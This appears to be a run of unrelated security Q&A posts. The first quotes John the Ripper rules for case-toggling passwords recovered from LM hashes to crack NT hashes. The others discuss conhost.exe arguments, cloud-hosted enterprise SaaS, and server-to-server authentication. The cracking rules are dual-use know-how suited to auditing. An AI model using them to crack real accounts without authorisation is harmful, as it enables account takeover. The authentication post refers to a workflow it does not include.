The needed rules are labeled [List.Rules:NT] in john.conf, so to invoke those you simply need to specify --rules=NT as a parameter when calling john.

The rules relevant for this simply toggle the case of each character for each of up to 13 chars, since longer passwords don't get lanmanager hashes, and will only have NT hashes. It's done this way:

-c T0Q
-c T1QT[z0]
-c T2QT[z0]T[z1]
-c T3QT[z0]T[z1]T[z2]
-c T4QT[z0]T[z1]T[z2]T[z3]
-c T5QT[z0]T[z1]T[z2]T[z3]T[z4]
-c T6QT[z0]T[z1]T[z2]T[z3]T[z4]T[z5]
-c T7QT[z0]T[z1]T[z2]T[z3]T[z4]T[z5]T[z6]
-c T8QT[z0]T[z1]T[z2]T[z3]T[z4]T[z5]T[z6]T[z7]
-c T9QT[z0]T[z1]T[z2]T[z3]T[z4]T[z5]T[z6]T[z7]T[z8]
-c TAQT[z0]T[z1]T[z2]T[z3]T[z4]T[z5]T[z6]T[z7]T[z8]T[z9]
-c TBQT[z0]T[z1]T[z2]T[z3]T[z4]T[z5]T[z6]T[z7]T[z8]T[z9]T[zA]
-c TCQT[z0]T[z1]T[z2]T[z3]T[z4]T[z5]T[z6]T[z7]T[z8]T[z9]T[zA]T[zB]
-c TDQT[z0]T[z1]T[z2]T[z3]T[z4]T[z5]T[z6]T[z7]T[z8]T[z9]T[zA]T[zB]T[zC]


What is the effect of the arguments in the following: conhost.exe 0xffffffff -ForceV1 I'm fairly well acquainted with the role of conhost in Windows.  I am aware of conhostV1.dll and conhostV2.dll so I assume force V1 would force the legacy mode of conhost (as in Pre Win 7 mode when it asked for stuff directly from Kernel space).  What I am curious about is:

1.) what is the 0xffffffff about.  I know that this can be interpreted by some things as -1 (two's complement).  Perhaps a pointer? Does anybody know the effect of this flag (normally I see 0x4 as the only argument to conhost.exe)?

2.) Are there possible security implications of finding conhost running with this flag in your enterprise windows environment?

The argument is the console application ID/session ID to which conhost should "connect" to. The value is mediated by csrss.


Someone else's cloud infrastructure too sketchy for large enterprise SaaS application? I have a set of geared-to-enterprise SaaS services I will be trying to sell soon to a number of large companies.  In IT and Security reviews for critical software in the past, as a vendor you were dinged if you were running on someone else's virtual environments.  It was expected you'd be running on your own, or at least bare hardware for which you've contracted.

Despite it being 2012 and not 1997, I know first-hand there are those who will poo-poo the idea of buying a service hosted on something like AWS or in a multi-tenant hosting situation that was not solely dedicated to the service at hand.

Are there still security concerns in the enterprise about this overall, especially in the ERP integration arena?  There is a lot more cost involved at a DC with servers and Oracle licenses, etc, etc and thus the pricing model changes significantly.

Would you consider services sold on someone else's cloud too risky?  This would be in a general IT systems perspective in various industries.  (e.g. Likely not for Banking, but most banking are on-premise anyway)

So just because its on a machine in your building makes it yours?  Do you know everything running on this machine?  The answer is always No.   A piece of hardware providing a service is a black box to the end user.  If anything having a vendor send you a dedicated piece of hardware is a massive security threat.  Firewall settings should always be very constrictive when it comes to remote connections.  For the vast majority of enterprise networks I have encountered the idea of an attacker with a black box inside your local network is a nightmare.

An important defense in depth security principle is isolation.  When a system is compromised it becomes a beach head for a full scale invasion of the rest of your infrastructure.    An ideal security design would have every system isolated and only exposing the minim necessary functionality to the other components of your infrastructure.  SaaS and cloud computing can conform to this design,  but so can traditional computing platforms.


Securing server to server http communication We are trying to come up with a scheme to secure http communication between our internal servers.

Are there any good established schemes out there? The requirements we have are:

The clients and servers are physically located in different places and need to communicate over the internet.
The client needs guarantees that it is talking to the server it thinks it's talking to.
The server needs guarantees that it is talking to the client it thinks it's talking to.
The server needs to be able to block communication with a particular client in the event it's been compromised.
There exists a secure out-of-band communication that allows for the distribution of things like keys.

Our current idea is to secure all communication using SSL. A certificate chain to validate the server's certificate will be distributed to the clients (and only the clients) using the secure out-of-band communication. Whenever the client communicates with the server, it is pinned to using this certificate chain. This guarantees the client is talking to the correct server, and gives us some loose guarantees on the server side that it's talking to one of a set of semi-trusted clients.

A public-private key pair is generated for each client. The public keys are stored on the server (via the secure out-of-band communication). The following workflow is used to authenticate the client.

The session token is then sent in all future requests. The session token can be revoked etc. If a client is compromised, it's public key can be removed from the server and all session tokens associated with that client revoked.

Is there a better way to be doing this? Is there anything we've not considered?

Use IPSec to create a secure VLAN. Better performance than HTTPS and more secure(no payload is in plaintext anymore). You can use your own PKI infrastructure and with some custom code you can integrate strongswan easily in your systems; it provides hooks for nearly every stage of the connection. Plus you also get client authentication (machine certificates).